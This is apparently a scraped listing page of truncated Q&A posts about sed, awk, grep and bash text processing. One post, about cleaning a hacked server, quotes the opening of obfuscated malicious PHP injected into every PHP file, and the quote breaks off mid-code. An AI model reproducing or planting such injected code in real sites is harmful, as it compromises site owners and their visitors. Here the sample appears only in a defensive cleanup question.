FAQ Database Discussion Community


How to match and remove the content preceding it from a file in unix [closed]

mysql,perl,sed,solaris
I have a mysql dump file, and i want to remove the content of the file after "-- Final view structure for view view_oss_user" using sed/perl. The input file is something like this : Content : rom `target` */; /*!50001 SET character_set_client = @saved_cs_client */; /*!50001 SET character_set_results = @saved_cs_results...

Finding columns with only white space in a text file and replace them with a unique separator

regex,r,bash,awk,sed
I have a file like this: aaa b b ccc 345 ddd fgt f u 3456 e r der der 5 674 As you can see the only way that we can separate the columns is by finding columns that have only one or more spaces. How can we identify...

how can I replace a line containing variables?

bash,sed
I have a bash script and I want to use that for replacing some lines with a string and add a date to the end of the line: #! /bin/bash today=`date '+%Y_%m_%d__%H_%M_%S'`; sed -i '3s/.*/CONFIG_LOCALVERSION=/' ~/Desktop/file1 file2 ... Also, can I do this for a range of files that start...

Print the last 1,2,3..Nth or first 1,2,3…Nth matching block pattern using awk or sed

bash,awk,sed
pattern1 a b pattern2 cd pattern1 re pattern2 gh pattern1 ef pattern2 qw e I can show all matching pattern by sed -n '/pattern1/,/pattern2/p' Choose the second matching pattern or any Nth by awk -vM=2 '(x+=/pattern1/)==M&&x+=/pattern2/' file pattern1 re pattern2 Print only last matching pattern by awk 'x+=/pattern1|pattern2/{!y++&&B="";B=B?B"\n"$0:$0;x==2&&y=x=0}END{print B}' file...

How to process files oldest to newest bash?

bash,sed
Overview I have a bunch of log files which rollover when they reach a certain size. Each line in the log file has a bunch of logger formatting and then some interesting information. I want to take those files and remove the formatting from the beginning of each line and...

What is the correct syntax for a bash multi line Heredoc (w/ Sed)?

bash,sed,multiline,heredoc
While using Sed to search/ insert a config file, I'm greeted by errors. What's causing them, and how can I fix them? The Heredoc I'm looking to insert can be defined as follows: read -d '' APPLICATION_ENV_STATE <<'EOF' defined('APPLICATION_ENV') || define('APPLICATION_ENV',(getenv('APPLICATION_ENV') ? getenv('APPLICATION_ENV') : 'production')); EOF While my Sed command...

Parse IP and Download-Total from mikrotik

regex,bash,sed,grep
I wanna extract IP and download-total from mikrotik command /queue simple print stat Here's some example : 0 name="101" target=192.168.10.101/32 rate=0bps/0bps total-rate=0bps packet-rate=0/0 total-packet-rate=0 queued-bytes=0/0 total-queued-bytes=0 queued-packets=0/0 total-queued-packets=0 bytes=17574842/389197663 total-bytes=0 packets=191226/308561 total-packets=0 dropped=9/5899 total-dropped=0 1 name="102" target=192.168.10.102/32 rate=0bps/0bps total-rate=0bps packet-rate=0/0 total-packet-rate=0 queued-bytes=0/0 total-queued-bytes=0...

Remove specific (complex) line from MANY files (sed?)

regex,bash,sed,grep
Server was hacked, every php file on the server now starts with malicious code: <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $zdsnpbzghe =...

remove line from file if more than one pattern appears in different line

shell,awk,sed,file-processing
I have a file with a patter like this: 1 1 1 2 0 1 0.5 1 2 2 2 0 2 0.5 2 1 1 1 0 1 0.25 2 1 2 2 0 2 0.5 2 3 3 3 0 3 0.25 I want to remove a line...

Replacing newline character in a field in csv file

csv,awk,sed,tr
I have a CSV file with 165 columns and I have a problem. I need to replace \r\n characters with a blank space from the columns but not from the end of line as it is the record separator. Input: 001|Baker St. London|3|4|7 002|Penny Lane Liverpool|88|5|7 Output: 001|Baker St. London|3|4|7...

How to filter data from flat file with multiply lines pattern using awk or sed tool?

regex,awk,sed
This is my first post on this site. I have probably not very easy problem with awk or sed language. In my file are data like this: A B C [Start]D E F [/End] G ... [Start]H I J [/End] ... K And I need following result: A B C...

AWK count number of times a term appear with respect to other columns

linux,shell,command-line,awk,sed
Given a CSV file: id, fruit, binary 1, apple, 1 2, orange, 0 3, pear, 1 4, apple, 0 5, peach, 0 6, apple, 1 How can i calculate for each unique values in fruit, the number of times the binary value =1 / number of occurences of that fruit...

Replace a character in a section of a string in Bash

regex,bash,awk,sed
I'm trying to replace - and : with ? only in the middle(second) section delimited by ___ (3 underscore) input: aaa___bb-bb:bbb___cc-cc:ccc d-d___d-ddd:d-d___e-e:e output: aaa___bb?bb?bbb___cc-cc:ccc d-d___d?ddd?d?d___e-e:e I tried below sed command but it only replaces the last occurrence of the -: in the middle section echo "aaa___bb-bb:bbb___cc-cc:ccc d-d___d-ddd:d-d___e-e:e" | sed "s|\(___[^_]*\)[-:]\([^_]*___\)|\1?\2|g"...

sed command creation via shell script - quotes and sed

bash,sed
I'm implementing a template renderer in shell script. The template variables are represented in a template by @[email protected] and their values are defined in a separate shell script. Sample code: # template variables values CONTACT_EMAIL="myemail" CONTACT_NAME="myname" VARS="CONTACT_EMAIL CONTACT_NAME" TEMPLATE_FILEPATH="mytemplate.txt" # template renderer set -x SEDARGS= for VAR in $VARS; do...

using sed to cut a part of file

bash,sed
cat /opt/inventory.txt ################################################################################### Begin_detail_of 5678 Request_No of the activity is 5678 testProject Requester of the project is xyz [email protected] End_of 5678 #################################################################################### ################################################################################### Begin_detail_of 1234 Request_No of the activity is 1234 testProject Requester of the project is xyz [email protected] End_of 1234...

Replace characters in specific columns only (CSV)

linux,csv,awk,sed
I have data like this: 1;2015-04-10;23:10:00;10.4.2015 23:10;8.9;1007.5;0.3;0.0;0;55 2;2015-04-10;23:20:00;10.4.2015 23:20;8.6;1007.8;0.4;0.0;0;56 3;2015-04-10;23:30:00;10.4.2015 23:30;8.5;1008.1;0.4;0.0;0;57 It has dot . as decimal separator but I need to use , instead. Desired data: 1;2015-04-10;23:10:00;10.4.2015 23:10;8,9;1007,5;0,3;0,0;0;55 I tried using Sed. With sed -i 's/\./,/g' myfile.csv I could replace all dots with commas but would destroy dates on...

Bash: Replace values of a column while retaining line order.

bash,for-loop,sed,string-comparison
I have a file, FILE1, of some 19.000 lines that has the following format: PAAXXXX PAAXXXX 0 0 1 -9 PAAXXXY PAAXXXY 0 0 1 -9 PAAXXYX PAAXXYX 0 0 2 -9 PAAXYXX PAAXYXX 0 0 2 -9 PAAYXXX PAAYXXX 0 0 1 -9 PAAYYXX PAAYYXX 0 0 1 -9...

convert first column from hex to decimal using awk

linux,shell,awk,sed,hex
I have a log file which contains logs time stamp in Hexadecimal in column one and then log text in rest of the columns.For example: B60C0056: aaa1 bb1 ccc1 ddd1 eee1 fff B60C0056: aaa2 bb2 ccc2 ddd2 eee2 fff B60C0057: aaa3 bb3 ccc3 ddd3 eee3 fff B60C0058: aaa4 bb4 ccc4...

How to extract all tags and content between them from the XML file?

xml,bash,awk,sed
Given the XML file, I'd like to extract all strings between patterns and put in separate files, preferably with bash tools like sed, awk, grep ... For example if I have XML file, with separator tag a: <a><b>yada</b> <c>yada</c> </a><a> foo</a> <a>bar</a> I'd like to have files containing: <a><b>yada</b> <c>yada</c>...

using sed to replace a line with back slashes in a shell script

regex,bash,shell,ssh,sed
I am trying to replace the bottom one of these 2 lines with sed in a file. <rule>out_prefix=orderid ^1\\d\+ updatemtnotif/</rule>\n\ <rule>out_prefix=orderid ^2\\d\+ updatemtnotif/</rule>\n\ And the following command seems to do that when executed as a command at the bash prompt sed -i '[email protected]_prefix=orderid ^2\\\\d\\+ updatemtnotif/@out_prefix=orderid ^2\\\\d\\+ updatemtnotif_fr/@g' /opt/temp/rules.txt however, when...

Remove everything before a blank line using sed

linux,windows,bash,sed
Lets say I have a file which is something like this: "Testing is important" Nothing is impossible The output should be: Nothing is impossible This means the sed removed everything before new line. Also, I need to make sure it works on bash on windows. Please help. ...

Bash, Using grep, sed or awk to extract section of text and then match

bash,awk,sed,grep
I have a text file and want to extract all interfaces matching "blue" random text random text random text random text random text int 1 random text blue random text random text int 2 random text random text red random text int 3 random text random text random text blue...

Sed command to find multiple patterns and print the line of the pattern and next nth lines after it

string,sed
I have a tab delimited file with 43,075 lines and 7 columns. I sorted the file by column 4 from the highest to the smaller value. Now I need to find 342 genes which ids are in column 2. See example below: miR Target Transcript Score Energy Length miR Length...

Sorting unique elements column-wise in a text-file

regex,linux,awk,sed,grep
I have a tab delimited file like chr1 4359314 4361314 Rp1 - chr1 4492735 4494735 Sox17 - chr1 4495330 4498354 Sox17,Sox17,Sox17,Sox17,Sox17,Sox17 -,-,-,-,-,- chr1 4784698 4786739 Mrpl15,Mrpl15,Mrpl15,Mrpl15 -,-,-,- chr1 4806788 4809237 Lypla1,Lypla1,Lypla1,RP24-426M1.3,Lypla1,Lypla1,Lypla1,Lypla1 +,+,+,+,+,+,+,+ chr1 4856814 4859038 Tcea1,Tcea1 +,+ chr1 5017735 5020539 Rgs20,Rgs20,Rgs20 -,-,- chr1 5069018 5071285 Atp6v1h,Rgs20,Rgs20 +,-,- chr1 5082080 5084154...

Concatenation of lines

awk,sed
I need to join every other line in a file with the line after it. 1, 2 3, 4 5, 6 7, 8 9, 10 11, 12 The output should be like: 1, 2, 3, 4 5, 6, 7, 8 9, 10, 11, 12 I have used awk '{getline b;printf("%s,%s\n",$0,b)}'...

Programming rev in sed

linux,sed
I'm trying to write an utility that reverses lines of input. The following just prints the lines as they are though: #!/bin/sed -f #insert newline at the beginning s/^/\n/ #while the newline hasnt moved to the end of pattern space, rotate : loop /\n$/{!s/\(.*\)\(.$\)/\2\1/;!b loop} #delete the newline s/\n// Any...

sed replace content within double quotes

regex,bash,sed
I need to replace the versionName in a xml file from a shell script using sed. <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" package="com.example.sed" android:versionCode="1" android:versionName="UNKNOWN VERSION NAME"> I've gotten so far as to search for a line containing versionName but how to tell sed to replace everything within the double quotes coming directly...

Search and modify using sed in bash script

bash,sed
I am trying to edit a postgres configuration file using script I would like to search if listen_addresses = '*' already present or not. If already present, do nothing and if the exact string is not present, add the entry using following rule If there is any configuration line with...

Replace [a-z],[a-z] with [a-z], [a-z] and keep the letters

bash,awk,sed
How can I replace [a-z],[a-z] with [a-z], [a-z] and keeping the letters? Input suny stony brook, stony brook,usa. Output suny stony brook, stony brook, usa. What I have tried sed 's/[a-z],[a-z]/[a-z], [a-z]/g' <<< "suny stony brook, stony brook,usa." sed 's/[a-z],[a-z]/, /g' <<< "suny stony brook, stony brook,usa." ...

grep and sed - find function calls in files

bash,command-line,sed,grep
I need to find usages of class methods in project folder (for refactoring). Now I'm search with grep -nr "className." .. And get list like: file1.js:874: var x = className.method1() + m; file5.js:330: console.log(className.method2()); etc... My goal is to get only methods that used in files without any code around....

check difference via minus between two file

linux,shell,awk,sed,grep
I have two files test1 and test2 test1 foo bar hello world test2 bar world hello and I really want to obtain foo here, could anybody help me? please .....

Match repetitive data from file with second column from second file

arrays,bash,awk,sed
Hello I have a file with repetitive data as such: ENGLAND ENGLAND ENGLAND JAPAN JAPAN JAPAN JAPAN AMERICA AMERICA AMERICA And a second file with unique data that has two columns(separated by "=" ), with the first column being considered a key: ENGLAND=LONDON JAPAN=TOKYO AMERICA=WASHINGTON DC AUSTRALIA=SYDNEY IRELAND=DUBLIN I am...

Deleting upto a line

bash,perl,shell,sed,scripting
I have a line that looks like: foo cat dog = -48.34277635 foo(horse->0) = -60.34277635 and I only want the last set of numbers: -60.34277635 The line is formatted with that exact spacing. I've looked everywhere for a simpler solution, but I can't find anything without chopping the file piece...

How to remove all except the first 3 and last of a specific character with sed

regex,bash,csv,sed
I've looked all over the place but can't find an answer. I've used sed before so I'm familiar with the syntax - however this one has me stumped. I want to remove all except the first 3 instances and the last instance of a specific character. Here is a specific...

sed - replace a variable of power N by the product of N variables

regex,bash,sed
from sed replace a variable of power by the product of two variables, I would like to generalize the "power 2" case to "N power case". The command line in the "power 2" case is : sed 's/\([^(*+\/^-]*\(([^)]*)\)\?\)\^2/\1\*\1/g' So that cos(2*a)^2+sin(3*b)^2+m1^2*m2^2*cos(4*c) is replaced by : cos(2*a)*cos(2*a)+sin(3*b)*sin(3*b)+m1*m1*m2*m2*cos(4*c) Now, I want to...

How can I fix the following sed command?

regex,linux,unix,replace,sed
I am trying to append _out to anything that matches the regex shown in the follwing sed command. The _out should be before the [ (]. sed -n '/[^_]lm[01?]_.*[ (]/p' The command returns the lines correctly as I expect. Now the problem comes when I try the following command where...

Execute command defined by backreference in sed

regex,bash,sed
I am creating a primitive experimental templating engine completely based on sed (merely for my private enjoyment). One thing I have been trying to achieve for several hours now is to replace certain text patterns with the output of a command they contain. To clearify, if an input line looks...

delete parentheses and everything inside with bash

bash,sed
I need to remove parentheses and all letters inside them, included the symbol '. For example: Ametlla de Mar (L') to Ametlla de Mar I have used sed without success....

Remove full url's from text file using unix awk/sed/grep

bash,unix,awk,sed,grep
I have a text file that in the form of tweets and I am having issues removing the full url's. An example of the textfile: index.html: this is a tweet that has info. http://google.com this is a tweet that has an image. pic.twitter.com/a2y4H1b2Jq I would like to create a new...

Matching last line from string \n\\\\\n[^] ] b

regex,sed
I have a string \n\\\\\n[^] ] b (litteraly) \\ [^] ] b I would like to match last line of this string. I tried use this regexp \n.*$ and it is not working. If I use \\\\n.*$ it will work but I need to find some universal solution because if...

How to make zero the entire row except the first column, if it has a zero in any other colum in Linux?

linux,bash,shell,unix,sed
I would like to make zero the entire row except first column, if it has a zero value in any other column. e.g., ifile.txt 1 4.5 9 2 5.0 0 3 2.4 4 4 3.1 2 5 0.0 0 6 2.4 1 7 0.0 5 I am looking my output...

Sed parameter getting replaced with backslashes

regex,sed
I want to run search and replace and I am trying the following command: sed -i "s/\$enviro ?=.*[^;]/ = 1;/g" constants.php For some reason when I try and run this is turns into: sed -i "s/\$enviro\ \?=.\*\[\^\;\]/\ =\ 1\;/g\" constants.php This then gives errors: sed: -e expression #1, char 28:...

sed string with special character New

linux,sed,special-characters
when i use this script to replace : mrm.fr.mycompany.com by 10.70.89.40:8081/artifactory sed -i -e "s/mrm.fr.mycompany.com/10.70.89.40:8081/artifactory/g" config.xml i have the error : sed: -e expression n°1, caractère 41: option inconnue pour `s' can anyone help me thanks in advance regard, Youssef...

Replace the characters in every line of a file, if it match a condition - Unix

unix,replace,sed,match,condition
I have a file "dummy" in which: If 15 character of the file matches with "R" and 28 character of the file matches with "D" then 53-56 characters should be replaced with 0. I have tried using the below script, but it's not working. for i in `cat dummy` do...

Including break line in sed replacement

regex,bash,sed,newline
I've got the following sed replacement, which replaces an entire line with different text, if a certain string is found in the line. sed "s/.*FOUNDSTRING.*/replacement \"text\" for line"/ test.txt This works fine - but, for example I want to add a new line after 'for'. My initial thought was to...

how to remove two lines above after we find a match in a file in BASH?

bash,awk,sed,grep
I have a file that contain data like: 123 456 789 I want to delete the above two lines (123 and 456) when I find a match 789. Is it possible to do it with sed or awk? Please Help...

Remove part of a column, if its in a specific Column number. (The column has a variable)

bash,awk,sed
I have a csv with lines like this: Last,First,A00XXXXXX,1492-01-10,2015-06-17,,Sentence Skills 104,,Elementary Algebra 38, Last,First,A00XXXXXX,1492-01-10,2015-06-17,,,,Elementary Algebra 101,College Level Math 56 Last,First,A00XXXXXX,1492-01-10,2015-06-17,Reading Comprehension 102,,,, Last,First,A00XXXXXX,1492-01-10,2015-06-17,,,,Elementary Algebra 118,College Level Math 97 I want to remove the word "Reading Comprehension" but leave the number, but only if its in column 6, if its in...

Extract minor version from kernel to bash variable

linux,bash,sed,cut
I am new to bash and writing a script that needs to compare the minor version of the kernel to see if it is greater than or equal to 10, and exit if it is not. Currently I have something like: KERNEL = $(uname -r) declare -i MINOR_VERSION=$(echo $KERNEL |...

comment host file rows containing a string, if not already commented

bash,sed,comments,hosts
I am attempting to comment several entries in my [/etc/hosts] file using sed. I have the following command which works great: sed -i$(date +%s).bak '/devops/,/devops/s/^/# /' /etc/hosts My problem comes when i re-run the script containing the above line, my commented lines get a new comment. How can I add...

Extract OTP Key using regex

regex,bash,sed,google-authenticator
I have a script that enables OTP / Google Auth via SSH keys and OTP on linux systems. Once OTP is enabled I send the user a SMS with an otpauth URL. I need to extract the ( normally 16 digit key ) from the otpauth URL. If they want...

i have a file all field are same then print line in bash? field is not fix [closed]

bash,awk,sed
I have one file. plz leave $1. if all field from $2..$x is same then print line. other wise not. No. of field is not fix. Thanks in advance input.txt 1;DO;DO;DO;DO;DO;DO; 2;DO;DO;DO;DO;DO;TO; 3;TO;DO;DO;TO;DO; 4;DO;DO;DO;DO;TO; 5;DO;DO;TO;DO;DO; 6;DO;DO;DO;DO;DO; 7;DO;TO;DO;DO;TO; 8;DO;TO;TO;DO; 9;TO;TO;TO;TO; Output: 1;DO;DO;DO;DO;DO;DO; 6;DO;DO;DO;DO;DO; 9;TO;TO;TO;TO; ...

What is this command doing? sed

linux,bash,command-line,sed
I was given a general set of commands used as an example for something I will have to perform: 1 cat /etc/dsh/machines.list | sed -e "s|\(.*\)|sshfs \1:/opt/dextor/cloud \1|" 2 cat /etc/dsh/machines.list | sed -e "s|\(.*\)|sshfs \1:/opt/dextor/cloud \1|" | sh 3 cat /etc/dsh/machines.list | sed -e "s|\(.*\)|cp run.sh \1/|" 4 cat...

Delete some lines from text using Linux command

linux,shell,sed,grep,pattern-matching
I know how to match text using regex patterns but not how to manipulate them. I have used grep to match and extract lines from a text file, but I want to remove those lines from the text. How can I achieve this without having to write a python or...

Comment multiple lines in a file using sed

shell,sed
I am working on MAC OSX. I am writing shell script to add prefix "//" to all the log messages in a file. I wrote the following sed script: sed -i '' "s|"log+*"|"//log"|g" filename The script is working fine when the log message has single line. But if the log...

Append row conditionally as column bash script

linux,bash,awk,sed
I have been attempting to write a bash script that properly formats output of a command. The output puts multiple columns as a single list of records: host="host1" Disk Agent="A.06.20" General Media Agent="A.06.20" host="host2" Disk Agent="A.06.20" General Media Agent="A.06.20" host="host3" Disk Agent="A.06.20" host="host4" Disk Agent="A.06.20" General Media Agent="A.06.20" I would...

use sed to replace “file={{bla-bla}}” with “file={bla-bla}”

regex,sed
my bibtex file is corrupted in a sense that I need to change file = {{name:/path/to/file.pdf:application/pdf}}, with file = {name:/path/to/file.pdf:application/pdf}, that is, remove the first pair of curly brackets. All the strings I am interested start with file = {{. My first attempt is echo "file = {{name:/path/to/file.pdf:application/pdf}}," | sed...

AWK write to new column base on if else of other column

linux,bash,shell,awk,sed
I have a CSV file with columns A,B,C,D. Column D contains values on a scale of 0 to 1. I want to use AWK to write to a new column E base in values in column D. For example: if value in column D <0.7, value in column E =...

Taking multiple header (rows matching condition) and convert into a column

bash,perl,command-line,awk,sed
Hello I have a file that has multiple Headers in it that I need to have turned into column values. The file looks like this: Day1 1,Smith,London 2,Bruce,Seattle 5,Will,Dallas Day2 1,Mike,Frisco 4,James,LA I would like the file to end up looking like this: Day1,1,Smith,London Day1,2,Bruce,Seattle Day1,5,Will,Dallas Day2,1,Mike,Frisco Day2,4,James,LA The file...

bash script grep using variable fails to find result that actually does exist

bash,curl,sed,grep,carriage-return
I have a bash script that iterates over a list of links, curl's down an html page per link, greps for a particular string format (syntax is: CVE-####-####), removes the surrounding html tags (this is a consistent format, no special case handling necessary), searches a changelog file for the resulting...

Replace the last six spaces with comma

bash,awk,sed
How would I replace the last six spaces with comma in a text file from each line with bash? I have: $cat myfile foo bar foo 6 1 3 23 1 20 foo bar 6 1 2 18 1 15 foo 5 5 0 15 1 21 What I want...

sed and PHP tags

regex,linux,sed
I have a problem using SED. I have a php file whit this structure in the very first line: <?php echo 'first' ?><?php echo 'second' ?><?php echo 'third';?> I'm trying to remove the first two statements and have as a result: <?php echo 'third';?> I've tried this code: sed -i...

Expressing alternate in POSIX BRE?

regex,sed
Is it possible to write a POSIX BRE (no \| supported) that exactly matches two arbitrary strings? Say you want to match this_string1_that and this_string2_that as you would with this_\(string1\|string2\)_that without the \|. I guess it'll be rather ugly since \(string1\)\{0,1\}\(string2\)\{0,1\} matches "string1string2" Edit: perhaps string1 / string2 is not...

Using sed, awk or grep to split a string with numbers [duplicate]

regex,bash,shell,awk,sed
This question already has an answer here: Learning Regular Expressions [closed] 1 answer I have this file: mmD_154Lbb_e_dxk_83233.orc 154L_bbe_Bddxk_3259.txt 14Lbe_3233.orc m2_154Lbbe_dxk_67233.op mZZ_1A4Lbbe_dxk_32823.op mmD_154Lbbe_dxk_99333.orc mmD_oS154be_dxk_12338.txt I'm trying to use sed or awk to split the numbers and I don't have solution: I need out put: 83233 2597 3233 67233 32823...

System command to remove characters from a column in raw text file

linux,r,sed
I have a comma separated text file where one of the variables isn't in a great format because it itself contains commas (variable2, example below) I'm hoping that I can just tidy the file, using system commands, by deleting the contents of the variable before "###" which is present on...

Application of sed command several times on a file

bash,file,sed,process,command
I want to apply several times this sed command to a file: sed '1~2d' file.txt>file1.txt let's say I want to do it 4 times, is there a way to do this process getting also the intermediate files? Thank you in advance Best Regards (The files are 1m UTM coordinates and...

Extract lines from File2 already found File1

linux,text,awk,sed,grep
Using linux commandline, i need to output the lines from text file2 that are already found in file1. File1: C A G E B D H F File2: N I H J K M D L A Output: A D H Thanks!...

How cut characters from string and put it at the end- In shell

linux,shell,sed
I want to be able to do the following: String1= "HELLO 3002_3322 3.2.1.log" And get output like: output = "3002_3322 3.2.1.log HELLO" I know the command sed is able to do this but I need some guidance. Thanks!...

Count overlapping occurences of a repeated string using grep/linux/bash

linux,bash,shell,sed,grep
I'm trying to count occurences of a repeated string. Eg. echo 'joebobtomtomtomjoebobmike' | grep -o 'tomtom' | wc -l This outputs 1, but obviously the string 'tomtom' fits twice here. How can I make it so it counts both occurences? Thanks!...

How to perform sed replacement on range of lines?

sed
I want sed to read through a text file, find a specific series of numbers, and replace them with another series of numbers. However, I only want it to do that for a given range such as lines 200-220. I can find pages on here about how to do one...

Finding and replacing a numeric string between colons, before a space, using sed?

regex,sed
I am attempting to change all coordinate information in a fastq file to zeros. My input file is composed of millions of entries in the following repeating 4-line structure: @HWI-SV007:140:C173GACXX:6:2215:16030:89299 1:N:0:CAGATC GATTACAGATTACAGATTACAGATTACAGATTACAGATTACAGATTACAGATTACAG + @@@FFFDFHGGDHIIHGIJJJJJJJJJJJGIJJJJJJJIIIDHGHIGIJJIIIJJIJ I would like to replace the two numeric strings in the first line 16030:89299 with zeros...

sed (regex) not working properly

regex,sed
I have to separate out an expression from the following piece of HTML code: <div class="summary"> <h3><a href="/questions/30727515/why-is-executing-java-code-in-comments-allowed" class="question-hyperlink" title="The following code produces the output &quot;Hello World!&quot;. (No really, try it) public static void main(String... args) { // The comment below is no typo. // \u000d System.out.println(&quot;Hello ...">Why is executing...

Substitute string in BASH with Sed (when it has special characters)

bash,replace,sed
It's a fairly simple question and I'm sure the gurus here can figure it out right away, however I don't seem to be able to make it work (probably some quotes issue. I want to place all instances of: `which cat` With the following: /bin/cat I am running the following...

Bash: Unexpected parallel behavior when reading arguments from file using xargs

linux,bash,shell,sed
Previous This is a follow-up to this question. Specs My system is a dedicated server running Ubuntu Desktop, Release 12.04 (precise) 64-bit, 3.14.32-xxxx-std-ipv6-64. Neither release or kernel can be upgraded, but I can install any package. Problem The problem discribed in the question above seems to be solved, however this...

Sed & Regex: match between two characters only sometimes successful

regex,linux,sed
When I execute the command echo '<test>' | sed -e 's/<\(.*\)>/\1/g' I get the string test returned. When I execute the command echo 'Jun 10 13:23:16 server /opt/app/introdedaemon/sbin/mq2init[14150]: Debug 1433935396.995245: (XMLRPCConnector.cpp)(MQMessage)(98)[domt initrode.om]: encoded string: <aGVyZSBpcyBub3RoaW5n c3RpbGwgbm90aGluZw== > (size 908)' | sed -e 's/<\(.*\)>/\1/g' I would expect to get the string...

Regex pattern without one case

regex,bash,sed,grep
I would like to remove some strings from filename. I want to remove every string in bracket but not if there is a string "remix" or "Remix" or "REMIX" Now I have got sed "s/\s*\(\s?[A-z0-9. ]*\)//g" but how to exclude cases when there is remix in string?...

how to deletes line from a text file that are taken from another file [duplicate]

shell,awk,sed,grep,sh
This question already has an answer here: Remove duplicates from text file based on second text file 4 answers I have a data.txt file with a lot of lines in it and a lines.txt that contains some lines. I want to delete all lines from data.txt that match any...

sed regex : remove occurrences of [ and ] from string

regex,bash,sed
I am using Linux Mint 17. I am able to replace everything from the test string except [ and ] (opening and closing square brackets). Here is my expression, which is within a bash script, which I run from the command line video_title=$(echo $video_title | sed 's|[?![]]||g') I have tried...

How to remove from second occurrence until the end of the file?

bash,awk,sed
How to remove from a second occurrence of a pattern and delete only all the remaining occurrences in a file? What I have done: awk '/Type ;Rho ;DelSqRho ;Bond Ellipticity ;V ;G ;K ;L ;/{p++}p==1' file Pattern: "Type ;Rho ;DelSqRho ;Bond Ellipticity ;V ;G ;K ;L ;" Input Type ;Rho...

Path of the current, parents and root directory

shell,unix,sed,path,pwd
I need to print the path of the current, parent and root directory in UNIX. I can use commands, or a shell script. I managed to do that for the current and the parent directory, but I do not know how to print it for the root directory. Here is...

Insert variable in specific place using sed [closed]

variables,awk,sed
Please help me i'm trying to insert variable in a file with sed but has not yet successfully(( I have variable $time and i want insert it in index.html file in specific string(line number 53): the time: <span id="$time"></span> Please help me to solve it! Thank you!...

How to append entry the end of a multi-line entry using any of stream editors like sed or awk

linux,bash,awk,sed,sh
I am trying to use a script to append the host name at the end of a multi-line entry of a specific Host_Alias field in sudoers file. The current sudoers file has an entry similar to : Host_Alias srv_linuxestate= \ host10,host12,host13,host1,host50,\ host16,host1,host2,host11,host15,host21,\ host3,host14 My required output would be something like...

Indent and wrap consecutive matching lines with string

regex,bash,awk,sed,markdown
I would like to convert a predictably-formatted file containing code snippets into Markdown. The file looks like this: MY CODE SNIPPETS 2015-05-01 This file contains useful code snippets for every day usage in the Linux command line. SED sed 's/\(.*\)1/\12/g' # Modify anystring1 to anystring2 sed '/^ *#/d; /^ *$/d'...

strip words after matching character

unix,awk,sed
I have a file where there are some lines in the pattern. I want to remove text after _. How do I do that in unix? x y z 1_2 3_4 5_6 I tried this command: $ sed 's/_.*//' but it returns: x y z 1 however I want x...

Replacing lines in text files (lasts) bash

bash,sed
I have three following lines inside textfile (last 3 lines): } } } What I would like to do is do something like this: } } blablabla blablabla blablabla } Is there any way to do it with sed or any other command without putting specific line number?...

AWK - Search for a pattern-add it as a variable-search for next line that isn't a variable & print it + variable

regex,linux,awk,sed,gawk
I have a given file: application_1.pp application_2.pp #application_2_version => '1.0.0.1-r1', application_2_version => '1.0.0.2-r3', application_3.pp #application_3_version => '2.0.0.1-r4', application_3_version => '2.0.0.2-r7', application_4.pp application_5.pp #application_5_version => '3.0.0.1-r8', application_5_version => '3.0.0.2-r9', I would like to be able to read this file and search for the string ".pp" When that string is found, it...

Replace a double backslash followed by quote (\\') using sed?

regex,shell,unix,sed
I am unable to replace double backslash followed by quote \\' in sed. This is my current command echo file.txt | sed "s:\\\\':\\':g" The above command not only replaces \\' with \' it also replaces \' with ' How could I just replace exact match? Input: 'one', 'two \\'change', 'three...

Using sed to find lines with specific keywords

regex,bash,shell,sed
This is in bash using CentOS I am attempting to use sed to scan a text file to find lines that contain both the phrases "define" and "REV_NUMBER" (what lies before, in between, and after doesn't matter). However, I also want to ignore lines that have "//" in them because...

Bash script using sed acts differently when passing variable

bash,sed
I have a script that I am writing that checks a value and then based on the value modifies it. I am trying to understand why it works this one way and not the other. Based on the google and stackoverflow searches I did, nothing really fits what I am...

Replacing newline escape '\n' with an escaped newline escape '\\n' using sed

regex,bash,sed
I am trying to replace the literal term \n (not a newline, the literal) by the literal \\n using sed. I've tried this: echo '"Refreshing \n\n\n state prior"' | sed 's/\\n/\\\n/g' This "works" but I need it to output the literal characters \\n. Right now I end up with something...

Delete the extra space after special character in all the lines of text file

bash,shell,text,awk,sed
Following data represents 2 lines of text file: 1 2340: 2 1930: 1 1 9: 3 4501: 1 45: 1 5620: 2 I want to delete the space after ":". So the output of above text file should be 1 2340:2 1930:1 1 9:3 4501:1 45:1 5620:2 ...

if a string exist (including a variable), flip it using awk or sed

bash,awk,sed
I have a csv file like this: ,College Level Math 55,Elementary Algebra 112 ,Elementary Algebra 79, ,College Level Math 102,Elementary Algebra 54 ,,College Level Math 54 I need an awk or sed command that does the following if College Level Math *,Elementary Alegrbra * exist flip it so it looks...

Globally replacing short tags from all pages

regex,sed
I was looking to build a sed that would globally kill short tags in my scripts as there is a LOT of legacy stuff floating around that needs to be banished. I was working of a regex but it's being greedy so am looking for a non-greedy sed that will...

script to rename filenames containing backslash

regex,bash,shell,sed
I am trying to write a shell script to rename the result of 7-zipped folders. The resulting filenames contains backslash \ in the filename. I wrote a simple : #! /bin/sh for n in * do OldName=$n NewName=`echo "$n" | tr -s '\' "#" | tr -s " " "_"`...

Add a period two characters from the end of each line

sed
What is the best way to add a period two characters from the end of each line in a txt file using sed? Other options are also welcomed. 199801_Track_1.1 xx 303 199801_Track_1.2 xx 264 199801_Track_1.3 xx 92 199801_Track_1.4 xx 61 199801_Track_1.5 xx 402 becomes 199801_Track_1.1 xx 3.03 199801_Track_1.2 xx 2.64...

Using sed to clean up text files using regular expressions

regex,osx,sed
Continuation of a previous question Sed on Mac not recognizing regular expressions I am editing and cleaning up multiple text files, preparing them to be input in another piece of software. I have not been able to get Sed to process actual regular expressions: I know these are not correct,...

Linux bash script - Replace last occurrence of string in a file

regex,linux,bash,perl,sed
I have a XML file that looks something like this, and I only want to replace the last occurrence of /Shipment with /ShipHdr /ShipmentX: <ShipmentX> <ShipHdr> <RefID>REF01</RefID> <HeaderReferenceNumber>1234565</HeaderReferenceNumber> <Shipment> <RefCode>GHIJK</RefCode> <ShipmentStatusCode>FG</ShipmentStatusCode> </Shipment> <Summary> <TotalWeight>10</TotalWeight> </Summary> </Shipment> Output: <ShipmentX> <ShipHdr>...

grep/sed replace no match with blank space

bash,awk,sed,grep
